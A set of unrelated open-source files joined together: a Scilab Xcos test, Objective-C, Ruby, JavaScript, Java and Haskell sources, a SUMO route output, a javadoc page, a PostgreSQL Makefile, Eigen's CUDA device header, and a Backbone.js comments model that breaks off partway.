// =============================================================================
// <-- ENGLISH IMPOSED -->
// <-- XCOS TEST -->
// Import diagram
assert_checktrue(importXcosDiagram("SCI/modules/xcos/tests/unit_tests/Integer/iselect.zcos"));
A_ref = int32([0;0;0;0;1;1;1;2;2;2;3;3;3;3;3;3;3;3;3;3;3;3;3;3;3;2;2;2;1;1;1;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0]);
try scicos_simulate(scs_m, 'nw'); catch disp(lasterror()); end
assert_checkequal(A.values, A_ref);
| {
"pile_set_name": "Github"
} |
#import "OpeningHours.h"
#import "MWMOpeningHours.h"
#include "3party/opening_hours/opening_hours.hpp"
@interface WorkingDay ()
@property(nonatomic, copy) NSString *workingDays;
@property(nonatomic, copy) NSString *workingTimes;
@property(nonatomic, copy) NSString *breaks;
@property(nonatomic) BOOL isOpen;
@end
@implementation WorkingDay
@end
@interface OpeningHours ()
@property(nonatomic, strong) NSArray<WorkingDay *> *days;
@property(nonatomic) BOOL isClosedNow;
@end
@implementation OpeningHours
- (instancetype)initWithRawString:(NSString *)rawString localization:(id<IOpeningHoursLocalization>)localization {
self = [super init];
if (self) {
osmoh::OpeningHours oh(rawString.UTF8String);
_isClosedNow = oh.IsClosed(time(nullptr));
auto days = osmoh::processRawString(rawString, localization);
NSMutableArray *array = [NSMutableArray arrayWithCapacity:days.size()];
for (auto day : days) {
WorkingDay *wd = [[WorkingDay alloc] init];
wd.isOpen = day.m_isOpen;
wd.workingDays = day.m_workingDays;
wd.workingTimes = day.m_isOpen ? day.m_workingTimes : localization.closedString;
wd.breaks = day.m_breaks;
[array addObject:wd];
}
if (array.count == 0) {
return nil;
}
_days = [array copy];
}
return self;
}
@end
| {
"pile_set_name": "Github"
} |
class Loginator
constructor :configurator, :project_file_loader, :project_config_manager, :file_wrapper, :system_wrapper
def setup_log_filepath
config_files = []
config_files << @project_file_loader.main_file
config_files << @project_file_loader.user_file
config_files.concat( @project_config_manager.options_files )
config_files.compact!
config_files.map! { |file| file.ext('') }
log_name = config_files.join( '_' )
@project_log_filepath = File.join( @configurator.project_log_path, log_name.ext('.log') )
end
def log(string, heading=nil)
return if (not @configurator.project_logging)
output = "\n[#{@system_wrapper.time_now}]"
output += " :: #{heading}" if (not heading.nil?)
output += "\n#{string.strip}\n"
@file_wrapper.write(@project_log_filepath, output, 'a')
end
end
| {
"pile_set_name": "Github"
} |
var convert = require('./convert'),
func = convert('reverse', require('../reverse'));
func.placeholder = require('./placeholder');
module.exports = func;
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!-- generated on Thu Nov 21 13:53:21 2019 by Eclipse SUMO Version v1_3_1+0960-7b06a594ed
This data file and the accompanying materials
are made available under the terms of the Eclipse Public License v2.0
which accompanies this distribution, and is available at
http://www.eclipse.org/legal/epl-v20.html
SPDX-License-Identifier: EPL-2.0
<configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://sumo.dlr.de/xsd/sumoConfiguration.xsd">
<input>
<net-file value="three_split.net.xml"/>
<route-files value="input_routes.rou.xml"/>
<additional-files value="input_additional.add.xml"/>
</input>
<output>
<write-license value="true"/>
<vehroute-output value="vehroutes.xml"/>
</output>
<time>
<begin value="0"/>
</time>
<processing>
<ignore-route-errors value="true"/>
<default.speeddev value="0"/>
</processing>
<report>
<xml-validation value="never"/>
<duration-log.disable value="true"/>
<no-step-log value="true"/>
</report>
<random_number>
<seed value="42"/>
</random_number>
</configuration>
-->
<routes xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://sumo.dlr.de/xsd/routes_file.xsd">
<vehicle id="flow_maybe_detour.0" depart="0.00" arrival="140.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.1" depart="10.00" arrival="142.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.2" depart="20.00" arrival="143.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.3" depart="30.00" arrival="144.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.4" depart="40.00" arrival="145.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.5" depart="50.00" arrival="147.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.6" depart="60.00" arrival="155.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.7" depart="70.00" arrival="165.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.8" depart="80.00" arrival="175.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.9" depart="90.00" arrival="185.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.10" depart="100.00" arrival="195.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.12" depart="120.00" arrival="215.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.15" depart="150.00" arrival="245.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.16" depart="160.00" arrival="255.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.17" depart="170.00" arrival="265.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.19" depart="190.00" arrival="285.00">
<route edges="beg middle end rend"/>
</vehicle>
<vehicle id="flow_maybe_detour.11" depart="110.00" arrival="317.00">
<routeDistribution>
<route replacedOnEdge="beg" reason="rerouter" replacedAtTime="110.00" probability="0" edges="beg middle end rend"/>
<route edges="beg beg2right right right2end end rend"/>
</routeDistribution>
</vehicle>
<vehicle id="flow_maybe_detour.13" depart="130.00" arrival="337.00">
<routeDistribution>
<route replacedOnEdge="beg" reason="rerouter" replacedAtTime="130.00" probability="0" edges="beg middle end rend"/>
<route edges="beg beg2right right right2end end rend"/>
</routeDistribution>
</vehicle>
<vehicle id="flow_maybe_detour.14" depart="140.00" arrival="347.00">
<routeDistribution>
<route replacedOnEdge="beg" reason="rerouter" replacedAtTime="140.00" probability="0" edges="beg middle end rend"/>
<route edges="beg beg2right right right2end end rend"/>
</routeDistribution>
</vehicle>
<vehicle id="flow_maybe_detour.18" depart="180.00" arrival="387.00">
<routeDistribution>
<route replacedOnEdge="beg" reason="rerouter" replacedAtTime="180.00" probability="0" edges="beg middle end rend"/>
<route edges="beg beg2right right right2end end rend"/>
</routeDistribution>
</vehicle>
</routes>
| {
"pile_set_name": "Github"
} |
/*****************************************************************
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
****************************************************************/
package org.apache.cayenne.rop;
import java.util.List;
import org.apache.cayenne.DataChannel;
import org.apache.cayenne.di.DIRuntimeException;
import org.apache.cayenne.di.Inject;
import org.apache.cayenne.di.Provider;
import org.apache.cayenne.remote.hessian.HessianConfig;
import org.apache.cayenne.remote.hessian.service.ServerSerializerFactory;
public class ServerHessianSerializationServiceProvider implements Provider<ROPSerializationService> {
private final Provider<DataChannel> dataChannelProvider;
private final List<String> serializationWhitelist;
public static final String[] SERVER_SERIALIZER_FACTORIES = new String[] {
ServerSerializerFactory.class.getName()
};
/**
* @since 4.2
*/
public ServerHessianSerializationServiceProvider(@Inject Provider<DataChannel> dataChannelProvider,
@Inject(ROPConstants.SERIALIZATION_WHITELIST) List<String> serializationWhitelist) {
this.dataChannelProvider = dataChannelProvider;
this.serializationWhitelist = serializationWhitelist;
}
@Override
public ROPSerializationService get() throws DIRuntimeException {
return new HessianROPSerializationService(
HessianConfig.createFactory(
SERVER_SERIALIZER_FACTORIES,
dataChannelProvider.get().getEntityResolver(),
serializationWhitelist
)
);
}
}
| {
"pile_set_name": "Github"
} |
import Distribution.Simple
main = defaultMain
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (1.8.0_231) on Sun Nov 17 02:09:58 CET 2019 -->
<title>ViewStatisticsBasic</title>
<meta name="date" content="2019-11-17">
<link rel="stylesheet" type="text/css" href="../../../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="ViewStatisticsBasic";
}
}
catch(err) {
}
//-->
var methods = {"i0":6,"i1":6};
var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],4:["t3","Abstract Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/ViewStatisticsBasic.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatistics.html" title="class in org.deidentifier.arx.gui.view.impl.utility"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsClassification.html" title="class in org.deidentifier.arx.gui.view.impl.utility"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../index.html?org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsBasic.html" target="_top">Frames</a></li>
<li><a href="ViewStatisticsBasic.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">org.deidentifier.arx.gui.view.impl.utility</div>
<h2 title="Interface ViewStatisticsBasic" class="title">Interface ViewStatisticsBasic</h2>
</div>
<div class="contentContainer">
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Superinterfaces:</dt>
<dd><a href="../../../../../../../org/deidentifier/arx/gui/view/def/IView.html" title="interface in org.deidentifier.arx.gui.view.def">IView</a></dd>
</dl>
<dl>
<dt>All Known Implementing Classes:</dt>
<dd><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewProperties.html" title="class in org.deidentifier.arx.gui.view.impl.utility">ViewProperties</a>, <a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewPropertiesInput.html" title="class in org.deidentifier.arx.gui.view.impl.utility">ViewPropertiesInput</a>, <a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewPropertiesOutput.html" title="class in org.deidentifier.arx.gui.view.impl.utility">ViewPropertiesOutput</a>, <a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsClassificationAttributes.html" title="class in org.deidentifier.arx.gui.view.impl.utility">ViewStatisticsClassificationAttributes</a>, <a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsClassificationConfiguration.html" title="class in org.deidentifier.arx.gui.view.impl.utility">ViewStatisticsClassificationConfiguration</a></dd>
</dl>
<hr>
<br>
<pre>public interface <span class="typeNameLabel">ViewStatisticsBasic</span>
extends <a href="../../../../../../../org/deidentifier/arx/gui/view/def/IView.html" title="interface in org.deidentifier.arx.gui.view.def">IView</a></pre>
<div class="block">This is a base interface for simple views in this category</div>
<dl>
<dt><span class="simpleTagLabel">Author:</span></dt>
<dd>Fabian Prasser</dd>
</dl>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method.summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t3" class="tableTab"><span><a href="javascript:show(4);">Abstract Methods</a></span><span class="tabEnd"> </span></span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr id="i0" class="altColor">
<td class="colFirst"><code>org.eclipse.swt.widgets.Composite</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsBasic.html#getParent--">getParent</a></span>()</code>
<div class="block">Returns the parent composite</div>
</td>
</tr>
<tr id="i1" class="rowColor">
<td class="colFirst"><code><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/LayoutUtility.ViewUtilityType.html" title="enum in org.deidentifier.arx.gui.view.impl.utility">LayoutUtility.ViewUtilityType</a></code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsBasic.html#getType--">getType</a></span>()</code>
<div class="block">Returns the view type</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.org.deidentifier.arx.gui.view.def.IView">
<!-- -->
</a>
<h3>Methods inherited from interface org.deidentifier.arx.gui.view.def.<a href="../../../../../../../org/deidentifier/arx/gui/view/def/IView.html" title="interface in org.deidentifier.arx.gui.view.def">IView</a></h3>
<code><a href="../../../../../../../org/deidentifier/arx/gui/view/def/IView.html#dispose--">dispose</a>, <a href="../../../../../../../org/deidentifier/arx/gui/view/def/IView.html#reset--">reset</a>, <a href="../../../../../../../org/deidentifier/arx/gui/view/def/IView.html#update-org.deidentifier.arx.gui.model.ModelEvent-">update</a></code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method.detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="getParent--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getParent</h4>
<pre>org.eclipse.swt.widgets.Composite getParent()</pre>
<div class="block">Returns the parent composite</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
</dl>
</li>
</ul>
<a name="getType--">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>getType</h4>
<pre><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/LayoutUtility.ViewUtilityType.html" title="enum in org.deidentifier.arx.gui.view.impl.utility">LayoutUtility.ViewUtilityType</a> getType()</pre>
<div class="block">Returns the view type</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/ViewStatisticsBasic.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatistics.html" title="class in org.deidentifier.arx.gui.view.impl.utility"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../../../org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsClassification.html" title="class in org.deidentifier.arx.gui.view.impl.utility"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../index.html?org/deidentifier/arx/gui/view/impl/utility/ViewStatisticsBasic.html" target="_top">Frames</a></li>
<li><a href="ViewStatisticsBasic.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| {
"pile_set_name": "Github"
} |
MODULE_big = overflow
OBJS = int.o overflow.o uint.o $(WIN32RES)
EXTENSION = overflow
DATA = overflow--1.0.sql
PGFILEDESC = "overflow - checks for overflows"
REGRESS = overflow
PG_CONFIG = pg_config
PGXS := $(shell $(PG_CONFIG) --pgxs)
include $(PGXS)
| {
"pile_set_name": "Github"
} |
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2014 Benoit Steiner <[email protected]>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
#if defined(EIGEN_USE_GPU) && !defined(EIGEN_CXX11_TENSOR_TENSOR_DEVICE_CUDA_H)
#define EIGEN_CXX11_TENSOR_TENSOR_DEVICE_CUDA_H
namespace Eigen {
static const int kCudaScratchSize = 1024;
// This defines an interface that GPUDevice can take to use
// CUDA streams underneath.
class StreamInterface {
public:
virtual ~StreamInterface() {}
virtual const cudaStream_t& stream() const = 0;
virtual const cudaDeviceProp& deviceProperties() const = 0;
// Allocate memory on the actual device where the computation will run
virtual void* allocate(size_t num_bytes) const = 0;
virtual void deallocate(void* buffer) const = 0;
// Return a scratchpad buffer of size 1k
virtual void* scratchpad() const = 0;
// Return a semaphore. The semaphore is initially initialized to 0, and
// each kernel using it is responsible for resetting to 0 upon completion
// to maintain the invariant that the semaphore is always equal to 0 upon
// each kernel start.
virtual unsigned int* semaphore() const = 0;
};
static cudaDeviceProp* m_deviceProperties;
static bool m_devicePropInitialized = false;
static void initializeDeviceProp() {
if (!m_devicePropInitialized) {
// Attempts to ensure proper behavior in the case of multiple threads
// calling this function simultaneously. This would be trivial to
// implement if we could use std::mutex, but unfortunately mutex don't
// compile with nvcc, so we resort to atomics and thread fences instead.
// Note that if the caller uses a compiler that doesn't support c++11 we
// can't ensure that the initialization is thread safe.
#if __cplusplus >= 201103L
static std::atomic<bool> first(true);
if (first.exchange(false)) {
#else
static bool first = true;
if (first) {
first = false;
#endif
// We're the first thread to reach this point.
int num_devices;
cudaError_t status = cudaGetDeviceCount(&num_devices);
if (status != cudaSuccess) {
std::cerr << "Failed to get the number of CUDA devices: "
<< cudaGetErrorString(status)
<< std::endl;
assert(status == cudaSuccess);
}
m_deviceProperties = new cudaDeviceProp[num_devices];
for (int i = 0; i < num_devices; ++i) {
status = cudaGetDeviceProperties(&m_deviceProperties[i], i);
if (status != cudaSuccess) {
std::cerr << "Failed to initialize CUDA device #"
<< i
<< ": "
<< cudaGetErrorString(status)
<< std::endl;
assert(status == cudaSuccess);
}
}
#if __cplusplus >= 201103L
std::atomic_thread_fence(std::memory_order_release);
#endif
m_devicePropInitialized = true;
} else {
// Wait for the other thread to inititialize the properties.
while (!m_devicePropInitialized) {
#if __cplusplus >= 201103L
std::atomic_thread_fence(std::memory_order_acquire);
#endif
sleep(1);
}
}
}
}
static const cudaStream_t default_stream = cudaStreamDefault;
class CudaStreamDevice : public StreamInterface {
public:
// Use the default stream on the current device
CudaStreamDevice() : stream_(&default_stream), scratch_(NULL), semaphore_(NULL) {
cudaGetDevice(&device_);
initializeDeviceProp();
}
// Use the default stream on the specified device
CudaStreamDevice(int device) : stream_(&default_stream), device_(device), scratch_(NULL), semaphore_(NULL) {
initializeDeviceProp();
}
// Use the specified stream. Note that it's the
// caller responsibility to ensure that the stream can run on
// the specified device. If no device is specified the code
// assumes that the stream is associated to the current gpu device.
CudaStreamDevice(const cudaStream_t* stream, int device = -1)
: stream_(stream), device_(device), scratch_(NULL), semaphore_(NULL) {
if (device < 0) {
cudaGetDevice(&device_);
} else {
int num_devices;
cudaError_t err = cudaGetDeviceCount(&num_devices);
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
assert(device < num_devices);
device_ = device;
}
initializeDeviceProp();
}
virtual ~CudaStreamDevice() {
if (scratch_) {
deallocate(scratch_);
}
}
const cudaStream_t& stream() const { return *stream_; }
const cudaDeviceProp& deviceProperties() const {
return m_deviceProperties[device_];
}
virtual void* allocate(size_t num_bytes) const {
cudaError_t err = cudaSetDevice(device_);
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
void* result;
err = cudaMalloc(&result, num_bytes);
assert(err == cudaSuccess);
assert(result != NULL);
return result;
}
virtual void deallocate(void* buffer) const {
cudaError_t err = cudaSetDevice(device_);
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
assert(buffer != NULL);
err = cudaFree(buffer);
assert(err == cudaSuccess);
}
virtual void* scratchpad() const {
if (scratch_ == NULL) {
scratch_ = allocate(kCudaScratchSize + sizeof(unsigned int));
}
return scratch_;
}
virtual unsigned int* semaphore() const {
if (semaphore_ == NULL) {
char* scratch = static_cast<char*>(scratchpad()) + kCudaScratchSize;
semaphore_ = reinterpret_cast<unsigned int*>(scratch);
cudaError_t err = cudaMemsetAsync(semaphore_, 0, sizeof(unsigned int), *stream_);
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
}
return semaphore_;
}
private:
const cudaStream_t* stream_;
int device_;
mutable void* scratch_;
mutable unsigned int* semaphore_;
};
struct GpuDevice {
// The StreamInterface is not owned: the caller is
// responsible for its initialization and eventual destruction.
explicit GpuDevice(const StreamInterface* stream) : stream_(stream), max_blocks_(INT_MAX) {
eigen_assert(stream);
}
explicit GpuDevice(const StreamInterface* stream, int num_blocks) : stream_(stream), max_blocks_(num_blocks) {
eigen_assert(stream);
}
// TODO(bsteiner): This is an internal API, we should not expose it.
EIGEN_STRONG_INLINE const cudaStream_t& stream() const {
return stream_->stream();
}
EIGEN_STRONG_INLINE void* allocate(size_t num_bytes) const {
return stream_->allocate(num_bytes);
}
EIGEN_STRONG_INLINE void deallocate(void* buffer) const {
stream_->deallocate(buffer);
}
EIGEN_STRONG_INLINE void* scratchpad() const {
return stream_->scratchpad();
}
EIGEN_STRONG_INLINE unsigned int* semaphore() const {
return stream_->semaphore();
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE void memcpy(void* dst, const void* src, size_t n) const {
#ifndef __CUDA_ARCH__
cudaError_t err = cudaMemcpyAsync(dst, src, n, cudaMemcpyDeviceToDevice,
stream_->stream());
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
#else
eigen_assert(false && "The default device should be used instead to generate kernel code");
#endif
}
EIGEN_STRONG_INLINE void memcpyHostToDevice(void* dst, const void* src, size_t n) const {
cudaError_t err =
cudaMemcpyAsync(dst, src, n, cudaMemcpyHostToDevice, stream_->stream());
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
}
EIGEN_STRONG_INLINE void memcpyDeviceToHost(void* dst, const void* src, size_t n) const {
cudaError_t err =
cudaMemcpyAsync(dst, src, n, cudaMemcpyDeviceToHost, stream_->stream());
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE void memset(void* buffer, int c, size_t n) const {
#ifndef __CUDA_ARCH__
cudaError_t err = cudaMemsetAsync(buffer, c, n, stream_->stream());
EIGEN_UNUSED_VARIABLE(err)
assert(err == cudaSuccess);
#else
eigen_assert(false && "The default device should be used instead to generate kernel code");
#endif
}
EIGEN_STRONG_INLINE size_t numThreads() const {
// FIXME
return 32;
}
EIGEN_STRONG_INLINE size_t firstLevelCacheSize() const {
// FIXME
return 48*1024;
}
EIGEN_STRONG_INLINE size_t lastLevelCacheSize() const {
// We won't try to take advantage of the l2 cache for the time being, and
// there is no l3 cache on cuda devices.
return firstLevelCacheSize();
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE void synchronize() const {
#if defined(__CUDACC__) && !defined(__CUDA_ARCH__)
cudaError_t err = cudaStreamSynchronize(stream_->stream());
if (err != cudaSuccess) {
std::cerr << "Error detected in CUDA stream: "
<< cudaGetErrorString(err)
<< std::endl;
assert(err == cudaSuccess);
}
#else
assert(false && "The default device should be used instead to generate kernel code");
#endif
}
EIGEN_STRONG_INLINE int getNumCudaMultiProcessors() const {
return stream_->deviceProperties().multiProcessorCount;
}
EIGEN_STRONG_INLINE int maxCudaThreadsPerBlock() const {
return stream_->deviceProperties().maxThreadsPerBlock;
}
EIGEN_STRONG_INLINE int maxCudaThreadsPerMultiProcessor() const {
return stream_->deviceProperties().maxThreadsPerMultiProcessor;
}
EIGEN_STRONG_INLINE int sharedMemPerBlock() const {
return stream_->deviceProperties().sharedMemPerBlock;
}
EIGEN_STRONG_INLINE int majorDeviceVersion() const {
return stream_->deviceProperties().major;
}
EIGEN_STRONG_INLINE int minorDeviceVersion() const {
return stream_->deviceProperties().minor;
}
EIGEN_STRONG_INLINE int maxBlocks() const {
return max_blocks_;
}
// This function checks if the CUDA runtime recorded an error for the
// underlying stream device.
inline bool ok() const {
#ifdef __CUDACC__
cudaError_t error = cudaStreamQuery(stream_->stream());
return (error == cudaSuccess) || (error == cudaErrorNotReady);
#else
return false;
#endif
}
private:
const StreamInterface* stream_;
int max_blocks_;
};
#define LAUNCH_CUDA_KERNEL(kernel, gridsize, blocksize, sharedmem, device, ...) \
(kernel) <<< (gridsize), (blocksize), (sharedmem), (device).stream() >>> (__VA_ARGS__); \
assert(cudaGetLastError() == cudaSuccess);
// FIXME: Should be device and kernel specific.
#ifdef __CUDACC__
static EIGEN_DEVICE_FUNC inline void setCudaSharedMemConfig(cudaSharedMemConfig config) {
#ifndef __CUDA_ARCH__
cudaError_t status = cudaDeviceSetSharedMemConfig(config);
EIGEN_UNUSED_VARIABLE(status)
assert(status == cudaSuccess);
#else
EIGEN_UNUSED_VARIABLE(config)
#endif
}
#endif
} // end namespace Eigen
#endif // EIGEN_CXX11_TENSOR_TENSOR_DEVICE_CUDA_H
| {
"pile_set_name": "Github"
} |
define(['App', 'underscore', 'backbone', 'collection/comments'], function(App, _, Backbone, CommentsCollection) {
return Backbone.Model.extend({
defaults: {
done: false,
startedDL: false
},
initialize: function(attributes, options) {
this.id = options.id
this.sortOrder = options.sortOrder
},
url: function() {
var sortOrderStr = ""
var useSuggestedSort=App.settings.get('useSuggestedSort')
if (this.sortOrder !== "undefined" && this.sortOrder && this.sortOrder !== "null" && useSuggestedSort !== true ) {
sortOrderStr = "&sort=" + this.sortOrder
}
var username = App.user.name || false
if (username !== false) {
return "/api/?url=comments/" + this.id + ".json" + sortOrderStr
} else {
//use jsonp if user is not logged in
return App.baseURL + "comments/" + this.id + ".json?jsonp=?" + sortOrderStr
}
},
//so we have the attributes in the root of the model
parse: function(response) {
var data;
if (typeof response[0] === 'undefined') {
data = response
} else {
//set the value for the single reddit post
data = response[0].data.children[0].data
//set the values for the comments of this post
data.replies = new CommentsCollection(response[1].data, {
name: data.name,
parse: true
})
}
var timeAgo = moment.unix(data.created_utc).fromNow(true) //"true" removes the "ago"
timeAgo = timeAgo.replace("in ", ''); //why would it add the word "in"
data.timeAgo = timeAgo
data.timeUgly = moment.unix(data.created).format()
